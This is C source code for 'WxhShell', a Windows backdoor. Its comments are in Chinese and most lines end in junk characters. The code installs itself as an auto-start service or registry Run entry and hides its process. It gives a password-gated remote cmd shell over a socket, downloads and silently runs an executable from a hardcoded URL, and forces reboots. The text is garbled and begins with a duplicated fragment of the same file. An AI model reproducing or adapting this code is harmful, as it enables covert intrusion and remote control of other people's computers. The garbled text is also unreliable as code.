    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]= EYju@  
    else { U<"@@``+N  
    closesocket(wsh); +LEU|#  
    ExitThread(0); @|hn@!YK  
    } f(r=S Xa*  
    break; oTjsiXS  
    } ;xKPa6`E  
  // 获取shell WU" Lu  
  case 's': { ha -KfkPFE  
    CmdShell(wsh); `ywI+^b  
    closesocket(wsh); )rce%j7  
    ExitThread(0); ztRe\(9bL  
    break; ),u)#`.l G  
  } ]@rt/ eX  
  // 退出 },W<1*|  
  case 'x': { <RFT W}f!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zZ11J0UI  
    CloseIt(wsh); ^zs]cFN#%  
    break; u}:p@j}Zv  
    } %0<-5&GE  
  // 离开 "dN4EA&QJ  
  case 'q': { Q Jnji  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dhAkD-Lh  
    closesocket(wsh); -{tB&V~+v  
    WSACleanup(); rbEUq.Yk]~  
    exit(1); >Y\$9W=t  
    break; 1m5 =Nu  
        } |'R^\M Q  
  } 6|O2i j-J  
  } zx7g5;J  
#XaTUT  
  // 提示信息 w '<8l w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zK P{A Sk  
} GOII B  
  } )PNeJf|@  
X4bB  
  return; 0M=U >g)  
} M'"@l $[QM  
JO^E x1c  
// shell模块句柄 S.#IC lV  
int CmdShell(SOCKET sock) km(Mv  
{ F z 6&.f  
STARTUPINFO si; W_sAk~uK/  
ZeroMemory(&si,sizeof(si)); |~y>R#u8pm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IB sQaxt.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <:t D m  
PROCESS_INFORMATION ProcessInfo; e/{1u$  
char cmdline[]="cmd"; }0 BKKU+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :{YOJDtR  
  return 0; <Z -d5D>  
} 1l(_SD;90t  
zv%9?:  
// 自身启动模式 p903 *F^[,  
int StartFromService(void) rpZ^R}B%*v  
{ Gd]!D~[1  
typedef struct x^J}]5{0  
{ |1@/gqa  
  DWORD ExitStatus; l?AWG&  
  DWORD PebBaseAddress; 1$]hyC/f  
  DWORD AffinityMask; dg?[gD8!4&  
  DWORD BasePriority; N!u(G  
  ULONG UniqueProcessId; iLyJ7zby  
  ULONG InheritedFromUniqueProcessId; 6u'+#nm  
}   PROCESS_BASIC_INFORMATION; X4D>  
8!T6N2O6d  
PROCNTQSIP NtQueryInformationProcess; aUBGp: (  
f.~-31  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lg(*:To3B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .YT&V  
O'OVj  
  HANDLE             hProcess; W_C#a'$  
  PROCESS_BASIC_INFORMATION pbi; sUki|lP  
Y@+e)p{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  YXdd=F  
  if(NULL == hInst ) return 0; w[A$bqz   
`h:$3a:5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J'%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <DM /"^*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OjUZ-_J  
')8c  
  if (!NtQueryInformationProcess) return 0; i r-= @@  
Rqk;!N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S S/9fT"[  
  if(!hProcess) return 0; )Hp{8c  
6^Q Bol  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _"Bh 3 7  
TCC([  
  CloseHandle(hProcess); I`~ofq?r  
rTgCmr'&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^D{!!)O  
if(hProcess==NULL) return 0; 3miEF0x[  
TxN'[G  
HMODULE hMod; JIGoF  
char procName[255]; ~Lyy7 B9  
unsigned long cbNeeded; 905%5\Y  
NJVAvq2E.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RwG@C|sG  
h{R>L s  
  CloseHandle(hProcess); [|XMR=\>  
?_!} lg  
if(strstr(procName,"services")) return 1; // 以服务启动 ?3x7_=4t@  
"-pQL )f  
  return 0; // 注册表启动 4t%g:9]vr  
} g^V4+3v|a'  
rr@S|k:|  
// 主模块 ~ .FZF  
int StartWxhshell(LPSTR lpCmdLine) 'mH9 O  
{ h7}D//~p  
  SOCKET wsl; aBH!K   
BOOL val=TRUE; &at^~ o  
  int port=0; }i"\?M  
  struct sockaddr_in door; S#kA$yO  
4490l"  
  if(wscfg.ws_autoins) Install(); :#?Z)oQpT  
`<0{U]m  
port=atoi(lpCmdLine); M[C9P.O%w  
K!JXsdHK  
if(port<=0) port=wscfg.ws_port; .5i\L OTd  
J<<Ph  
  WSADATA data; XtJ _po  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \fHtk _  
* mzJ)4A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z|8oD*,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [SFX;v!9  
  door.sin_family = AF_INET; 9L$bJO-3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wRa$b  
  door.sin_port = htons(port); YH0=Y mU#X  
Wsz-#kc\[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6@"lIKeP  
closesocket(wsl); GE2^v_  
return 1; ypCarvQT  
} P)>`^wc$  
IfK%i/J  
  if(listen(wsl,2) == INVALID_SOCKET) { ({GN.pC(  
closesocket(wsl); 3X0"</G6  
return 1; cTU%=/gbc<  
} }.nHT0l  
  Wxhshell(wsl); IQ${2Dpg[  
  WSACleanup(); Znv3h  
xJQ-k/`  
return 0; &2~c,] 9C  
O?6ph4'  
} 8"fZ>XQ  
tp6-j`7u  
// 以NT服务方式启动 <B }4}-}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  !e+^}s  
{ X ^ ?M4  
DWORD   status = 0; r#% e$  
  DWORD   specificError = 0xfffffff; dB{VY+!  
7S +YQ$_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tAI<[M@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D7 D:?VoR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i'[o,dbE  
  serviceStatus.dwWin32ExitCode     = 0; 0|RFsJ"  
  serviceStatus.dwServiceSpecificExitCode = 0; [&tN(K9*  
  serviceStatus.dwCheckPoint       = 0; !\)9fOLs  
  serviceStatus.dwWaitHint       = 0; 9Y6Ear .W  
XLog+F$`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %^5|3l3y  
  if (hServiceStatusHandle==0) return; ;;A8TcE '  
4iXB`@k  
status = GetLastError(); R\^n2gK  
  if (status!=NO_ERROR) 8?YWE62  
{ ODggGB`H`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0u3"$o'R  
    serviceStatus.dwCheckPoint       = 0; 0q@U>#  
    serviceStatus.dwWaitHint       = 0; Z=L~W,0'  
    serviceStatus.dwWin32ExitCode     = status; ]TE,N$X  
    serviceStatus.dwServiceSpecificExitCode = specificError;  QB/H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }JF,:g Lk  
    return; ?hz9]I/8  
  } #@i1jZ  
#>]o'KQx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ckglDhC  
  serviceStatus.dwCheckPoint       = 0; )L,.K O  
  serviceStatus.dwWaitHint       = 0; 5._=m"Pl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Za*QX|  
} >+9f{FP 9  
Tlz $LI  
// 处理NT服务事件,比如:启动、停止 T6P9Icv?@7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |#87|XIJ&~  
{ aUqVcEU1  
switch(fdwControl) -naj.omG|  
{ 62}rZVJq  
case SERVICE_CONTROL_STOP: Y[0  
  serviceStatus.dwWin32ExitCode = 0; 7sC8|+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $@ous4&  
  serviceStatus.dwCheckPoint   = 0; /C'dW  
  serviceStatus.dwWaitHint     = 0; e >OYJd0s  
  { mYE8]4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U{)|z-n  
  } Po~u-5  
  return; RPXkf71iM  
case SERVICE_CONTROL_PAUSE: q h+c}"4m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q>G lA  
  break; 1L4-hYtCj  
case SERVICE_CONTROL_CONTINUE: !oJ226>WI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^GyGh{@,f  
  break; $bGe1\  
case SERVICE_CONTROL_INTERROGATE: /+11`B09  
  break; KMhEU**  
}; YgeU>I|v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h rksPK"s2  
} zv Dg1p  
!9n!:"(r  
// 标准应用程序主函数 N ?RJuDW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]+OHxCj:  
{ #S*@RKSE|7  
A`H&" A  
// 获取操作系统版本 ]tu:V,q  
OsIsNt=GetOsVer(); U&(TqRi,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uTX0lu;  
Nydhal00  
  // 从命令行安装 GC<zL }  
  if(strpbrk(lpCmdLine,"iI")) Install(); FtEmSKD  
7jf%-X  
  // 下载执行文件 DKvNQ:fI>9  
if(wscfg.ws_downexe) { Q9\6Pn ]T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,.g9HO/R1  
  WinExec(wscfg.ws_filenam,SW_HIDE); ssWSY(j]  
} #VLO6  
RfZZqe U  
if(!OsIsNt) { G;'=#c ^  
// 如果时win9x,隐藏进程并且设置为注册表启动 _(TYR*  
HideProc(); SviGLv;oR  
StartWxhshell(lpCmdLine); p5`d@y\hj  
} g4`)n`  
else <+/:}S4w)  
  if(StartFromService()) /.Fvl;!J;  
  // 以服务方式启动 f<Co&^A  
  StartServiceCtrlDispatcher(DispatchTable); Uc?4!{$X  
else JyfWy  
  // 普通方式启动 d{gj8  
  StartWxhshell(lpCmdLine); ~<)CI0=  
.;:jGe(  
return 0; OE"r=is  
} =VctG>ct|  
\0^ZNa?  
:.K#=ROP  
Yw\7`  
=========================================== <21@jdu3n,  
y{`aM(&  
[^J2<\<0  
fG^#G/n2  
V*|#j0}b  
E>|xv#:~DV  
" OFyZY@B-C~  
=>_k;x  
#include <stdio.h> 4raKhN"  
#include <string.h> $;ssW"7~Qn  
#include <windows.h> VgoN=S  
#include <winsock2.h> TsX(=N_  
#include <winsvc.h> o C5}[cYD`  
#include <urlmon.h> p{sbf;-x}  
W$l%= /  
#pragma comment (lib, "Ws2_32.lib") x;G~c5  
#pragma comment (lib, "urlmon.lib") ub#>kCL9  
i l)LkZ@  
#define MAX_USER   100 // 最大客户端连接数 .\W6XRw  
#define BUF_SOCK   200 // sock buffer \Jcj4  
#define KEY_BUFF   255 // 输入 buffer X5M{No>z  
v+3-o/G7  
#define REBOOT     0   // 重启 LMV0:\>  
#define SHUTDOWN   1   // 关机 ?]d [K>bv  
@t;WdbxB%  
#define DEF_PORT   5000 // 监听端口 xz#.3|_('  
+Yuy%VT  
#define REG_LEN     16   // 注册表键长度 "n4' \ig  
#define SVC_LEN     80   // NT服务名长度 S!/N lSr<  
&)8-iO  
// 从dll定义API Gm]]Z_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T{L{<+9%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SiM1Go}#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g.cD3N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #ilU(39e  
lF=l|.c  
// wxhshell配置信息 <Bmqox0  
struct WSCFG { ][b2Q>  
  int ws_port;         // 监听端口 ~HR/FGe?N  
  char ws_passstr[REG_LEN]; // 口令 LPOZA`  
  int ws_autoins;       // 安装标记, 1=yes 0=no |H,g}XWMU  
  char ws_regname[REG_LEN]; // 注册表键名 nt"8kv  
  char ws_svcname[REG_LEN]; // 服务名 a zUEp8`|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NWGSUUa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /f:)I.FUm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [~ Wiy3n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hko(@z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g;>M{)A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ${/"u3a_  
T%Vg0Y)P;  
}; mNvK|bTUT  
WdA6Y  
// default Wxhshell configuration A ko}v"d  
struct WSCFG wscfg={DEF_PORT, " -Ie  
    "xuhuanlingzhe", PR&D67:Jy  
    1, l<](8oc. w  
    "Wxhshell", R/yOy ^<  
    "Wxhshell", h%hE$2  
            "WxhShell Service", I& `>6=)  
    "Wrsky Windows CmdShell Service", 'k9?n)<DW  
    "Please Input Your Password: ", `mI% Se  
  1, ]wMp`}$b@L  
  "http://www.wrsky.com/wxhshell.exe", 4HG@moYn@  
  "Wxhshell.exe" f[@M  
    }; j'?^<4i  
9}4EW4  
// 消息定义模块 )6S;w7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `VT0wAe2;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !`BK%m\8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~N i#xa  
char *msg_ws_ext="\n\rExit."; K|H&x"t  
char *msg_ws_end="\n\rQuit."; XZcT-w 7  
char *msg_ws_boot="\n\rReboot..."; xr2ew%&o  
char *msg_ws_poff="\n\rShutdown..."; u% ^Lu.l_c  
char *msg_ws_down="\n\rSave to "; DIk\=[{2q  
=,aWO7Pz  
char *msg_ws_err="\n\rErr!"; 5X7kZ!r  
char *msg_ws_ok="\n\rOK!"; O1o.^i$-M  
:Rs% (Z  
char ExeFile[MAX_PATH]; h=q%h8  
int nUser = 0; 2C@hjw(  
HANDLE handles[MAX_USER]; OFJ T  
int OsIsNt; -jZP&8dPH  
/nK)esB1L  
SERVICE_STATUS       serviceStatus; !Q,A#N(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S=Ihg  
@~!1wPvF`I  
// 函数声明 a<.7q1F  
int Install(void); >.D0McQg  
int Uninstall(void); BO5gwvyI  
int DownloadFile(char *sURL, SOCKET wsh); a0"gt"q A  
int Boot(int flag); C?n3J  
void HideProc(void); XA[G F6W,Y  
int GetOsVer(void); /!o(Y8e>x  
int Wxhshell(SOCKET wsl); -%XvWZvZ  
void TalkWithClient(void *cs); 23/!k}G"  
int CmdShell(SOCKET sock); CfMq?.4%E}  
int StartFromService(void); &FWPb#  
int StartWxhshell(LPSTR lpCmdLine); _v=@MOI/J  
]Q\Ogfjp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n'/w(o$&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :!a9|Fh~  
:<%q9)aPf`  
// 数据结构和表定义 n2bL-  
SERVICE_TABLE_ENTRY DispatchTable[] = mm3goIi; Y  
{ n6gYZd  
{wscfg.ws_svcname, NTServiceMain}, S7Xr~5>X  
{NULL, NULL} J&{qe@^  
}; WgdL^PN(h  
b$sw`Rsw  
// 自我安装 `Z{kJMS  
int Install(void) r)|X?   
{ &jgpeFiiC  
  char svExeFile[MAX_PATH]; 8#%p[TLj  
  HKEY key; $+IE`(Ckf  
  strcpy(svExeFile,ExeFile); z8 bDBoD6  
q+{-p?;;  
// 如果是win9x系统,修改注册表设为自启动 U[zY0B  
if(!OsIsNt) { \lKiUy/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Z@FxW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XA~Rn>7&H  
  RegCloseKey(key); <zN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S;$@?vF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9.| +KIRb  
  RegCloseKey(key); d"nz/$  
  return 0; j.$#10*:  
    } D4yJ:ATO&  
  } 7N^9D H{`  
} e~r%8.Wm  
else { 5_+vjV;5  
-OpI,qyS  
// 如果是NT以上系统,安装为系统服务 G7k0P-r,0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PsDks3cG  
if (schSCManager!=0) ?)#dP8n  
{ b 2n.v.$G  
  SC_HANDLE schService = CreateService p\o=fcH%E  
  ( W[o~AbU  
  schSCManager, a z 7Vy-  
  wscfg.ws_svcname, UXvk5t1  
  wscfg.ws_svcdisp, %T*lcg  
  SERVICE_ALL_ACCESS, e{/(NtKf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p.q :vI$J  
  SERVICE_AUTO_START, B]< 6\Z?=  
  SERVICE_ERROR_NORMAL, nnmn@t(%r  
  svExeFile, w:Fi 2aJ  
  NULL, tRYMK+  
  NULL, >9W ;u`  
  NULL, . m_y5J  
  NULL, L0SeG:  
  NULL &I.UEF2,  
  ); mt7}1s,i[  
  if (schService!=0) /%Bc*k=ox  
  { sk!v!^\_r  
  CloseServiceHandle(schService); Wy%q9x]}  
  CloseServiceHandle(schSCManager); QP|Ou*Qm)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =+q9R`!L]  
  strcat(svExeFile,wscfg.ws_svcname); BVxg=7%St  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }cyHR1K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #Nxk3He]8  
  RegCloseKey(key); 2O {@W +Mt  
  return 0; @FL?,_,Y{  
    } XOO!jnQu  
  } St&xe_:^<  
  CloseServiceHandle(schSCManager); ~.M{n&NM  
} bD<[OerG  
} zp r`  
nM  D^x  
return 1; ahkSEE{  
} |")}p=   
v$"#9oh  
// 自我卸载 B:5( sK  
int Uninstall(void) #M6@{R2_  
{ C>Qgd9  
  HKEY key; ^.,pq?_  
ilQ R@yp*  
if(!OsIsNt) { ,#&lNQ'I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \`o+Le+%  
  RegDeleteValue(key,wscfg.ws_regname); & |u  
  RegCloseKey(key); 7]Y Le+Ds  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <3z]d?u  
  RegDeleteValue(key,wscfg.ws_regname); S =q.Y  
  RegCloseKey(key); 3 q  
  return 0;  W-@A  
  } `pzp(\lc  
} e0"R7a  
} tfj6#{M5  
else { i$)bZr\  
=,KRZqz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &TE=$a:d&  
if (schSCManager!=0) 9 )u*IGj  
{ JpE4 o2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zJ7vAL  
  if (schService!=0) `@ULG>   
  { "aK3 ylz;  
  if(DeleteService(schService)!=0) { DDn@M|*$  
  CloseServiceHandle(schService); B2VC:TG>  
  CloseServiceHandle(schSCManager); dlN(_6>b  
  return 0; c|u{(E58  
  } xf<D5 olZ  
  CloseServiceHandle(schService); aM?Xi6 U5  
  } g5R2a7  
  CloseServiceHandle(schSCManager); "JAYTatO7H  
} /HgdTyR)  
} Adgh:'h  
33|>u+  
return 1; OBi9aFoQ  
} _)Q) tOW  
ed4:r/Dpo  
// 从指定url下载文件 ji<b#YO4  
int DownloadFile(char *sURL, SOCKET wsh) ws Lg6  
{ U .hV1  
  HRESULT hr; NY\q  
char seps[]= "/"; Ojq>4=Z\  
char *token; uQWJ7Xm  
char *file; `C`CU?D  
char myURL[MAX_PATH]; oEU %"  
char myFILE[MAX_PATH]; W$ #FM$U  
8AT;9wZqt  
strcpy(myURL,sURL); |{+D65R  
  token=strtok(myURL,seps); #9}E@GGs  
  while(token!=NULL) [Rw0']i`4  
  {  Ek(. ["  
    file=token; FGu:8`c9  
  token=strtok(NULL,seps); $n& alcU  
  } Jf@M>BT^A  
Z+)R%Z'aL  
GetCurrentDirectory(MAX_PATH,myFILE); <",4O  
strcat(myFILE, "\\"); 4m$nVv  
strcat(myFILE, file); iU{bPyz ,  
  send(wsh,myFILE,strlen(myFILE),0); Zalgg/.  
send(wsh,"...",3,0); Kvv&# eO\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LGKkT?fcSC  
  if(hr==S_OK) FOgF'!K  
return 0; }UZ$<81=  
else 6Lz{/l8  
return 1; 6UR.,*f=  
{o< 4 ^  
} aM5zYj`pW  
~PP*k QZlJ  
// 系统电源模块 T{d7,.:  
int Boot(int flag) $-YS\R\9x  
{ +Sv`23G@  
  HANDLE hToken; P!:Y<p{=>  
  TOKEN_PRIVILEGES tkp; |;ycEB1  
:XcU@m  
  if(OsIsNt) { 9d^o2Y o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #ebT$hf30  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @FIR9XJ  
    tkp.PrivilegeCount = 1; ug0[*#|Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =K .'x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6tB-  
if(flag==REBOOT) { z6S N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E.Xf b"]  
  return 0; a h>k=t8(  
} QgO@oV*S  
else { g #u1.|s&p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZN-J!e"`  
  return 0; +"6_rbeuO  
} ! L:!X88  
  } /lkIbmV  
  else { HT)b3Ws~M8  
if(flag==REBOOT) { ]Gm,sp.x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }"wWSPD  
  return 0; B5*{85p(u  
} +u' ?VBv  
else { U0t/(Jyg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?~uTbNR  
  return 0; (h7 rW3  
} HiCNs;t  
} o{pQDI {R  
eG9tn{  
return 1; S9J<3 =  
} _JOrGVmD  
u*Z>&]W_  
// win9x进程隐藏模块 7'Y 3T[  
void HideProc(void) R8P7JY[h  
{ &G7JGar  
?Z {4iF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o $oW-U  
  if ( hKernel != NULL )  wX@&Qv  
  { [?iA`#^d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YpoO:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zm) ]cq  
    FreeLibrary(hKernel); N~ _GJw@  
  } &!]$#  
^qs=fF  
return; )a.Y$![  
} E ;65kZ  
y[Zl,v7  
// 获取操作系统版本 S-WD?BF C  
int GetOsVer(void) 7S LJLn3d  
{ Ac'[(  
  OSVERSIONINFO winfo; f305yo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I]bqle0M  
  GetVersionEx(&winfo); evNo(U\C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1%Xwk2l,8b  
  return 1; uFOxb}a9v  
  else fs+l  
  return 0; (xpj?zlmM  
} =`[08  
Wk"4mq  
// 客户端句柄模块 /"+YE&>\  
int Wxhshell(SOCKET wsl) e  p~3e5  
{ V$%%nG uE  
  SOCKET wsh; h 1G`z  
  struct sockaddr_in client; $'*@g1v Y  
  DWORD myID; i<&*f}='  
7YsBwo  
  while(nUser<MAX_USER) fu'iG7U M  
{ %l%5Q;t  
  int nSize=sizeof(client); Y,?s-AB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ks . m5R  
  if(wsh==INVALID_SOCKET) return 1; u"XqWLTV  
xr+K: bw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |E-/b6G  
if(handles[nUser]==0) Vd~{SS 2>  
  closesocket(wsh); Hq[d!qc  
else )kR~|Yn<-  
  nUser++; /KjRB_5~q}  
  } #-dfG.*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JUXIE y^  
Q*}#?g  
  return 0; P1)f-:;  
} W#87T_7T[  
U.is:&]E  
// 关闭 socket VXXo\LQUU  
void CloseIt(SOCKET wsh) l|z 'Lwwm5  
{ ?9xaBWf  
closesocket(wsh); ['ol]ZJ  
nUser--; $Nvt:X_  
ExitThread(0); y E-H-r~I  
} Q1J./C}  
=8O057y  
// 客户端请求句柄 #Ki(9oWd  
void TalkWithClient(void *cs) eKi/Mt  
{ yG|^-O}L  
5!u.w  
  SOCKET wsh=(SOCKET)cs; |@? B%sY  
  char pwd[SVC_LEN]; T`KH7y|bv  
  char cmd[KEY_BUFF]; jjbBv~vs  
char chr[1]; l[lUmE  
int i,j; yPrp:%PS  
UOHU 1.3$T  
  while (nUser < MAX_USER) { ss63/   
O 4@sN=o  
if(wscfg.ws_passstr) { hNs970i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >y)(M(o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ug02G  
  //ZeroMemory(pwd,KEY_BUFF); e\x=4i  
      i=0; <6^MVaD  
  while(i<SVC_LEN) { {WUW.(^]G  
N p9N#m?  
  // 设置超时 >FED*C4  
  fd_set FdRead; ?#?[6t  
  struct timeval TimeOut; w='1uV<6  
  FD_ZERO(&FdRead); +^tq?PfE  
  FD_SET(wsh,&FdRead); hO^8CA,5  
  TimeOut.tv_sec=8; T)wc{C9w  
  TimeOut.tv_usec=0; d2lOx|jt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4<._)_m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oR (hL4Dc  
v(D{_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Au jvKQ(  
  pwd=chr[0]; Y,EReamp  
  if(chr[0]==0xd || chr[0]==0xa) { dd1m~Gm  
  pwd=0; W$LaXytmak  
  break; U;Z6o1G  
  } f"t\-ux.b  
  i++; V&`\ s5Q  
    } RN\4y{@  
54~`8f  
  // 如果是非法用户,关闭 socket 9t@^P^}=\m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?h UC#{  
} 4GWt.+{J$  
YVt#( jl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9 2_F8y*D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # D"TY-$.=  
<"w;:Zs  
while(1) { V\^rs41$;  
hZ2!UW4'  
  ZeroMemory(cmd,KEY_BUFF); F{}mlQg  
iTsmUq<b]l  
      // 自动支持客户端 telnet标准   Qj: D=j8  
  j=0; ' 7G'R  
  while(j<KEY_BUFF) { cmgI,n-o?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?:l3O_U 5  
  cmd[j]=chr[0]; Awl4*J~  
  if(chr[0]==0xa || chr[0]==0xd) { 2%4dA$H#4w  
  cmd[j]=0; _[;>V*?zp5  
  break; <>$`vuU  
  } )&:4//}a  
  j++; fkE4 [X7f  
    } p\I,P2on  
%7=B?c |  
  // 下载文件 :e>y= s>  
  if(strstr(cmd,"http://")) { *(6vO{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wY|&qX,  
  if(DownloadFile(cmd,wsh)) H_)\:gTG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m[ *)sm  
  else  jL8[;*^G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )W9W8>Cc5_  
  } 7=C$*)x  
  else { {^>dQ+Sx7  
C9zQ{G  
    switch(cmd[0]) {  O\y #|=d  
  K{)N:|y%!$  
  // 帮助 1}+lL)-!  
  case '?': { 1A\Jh3;Q  
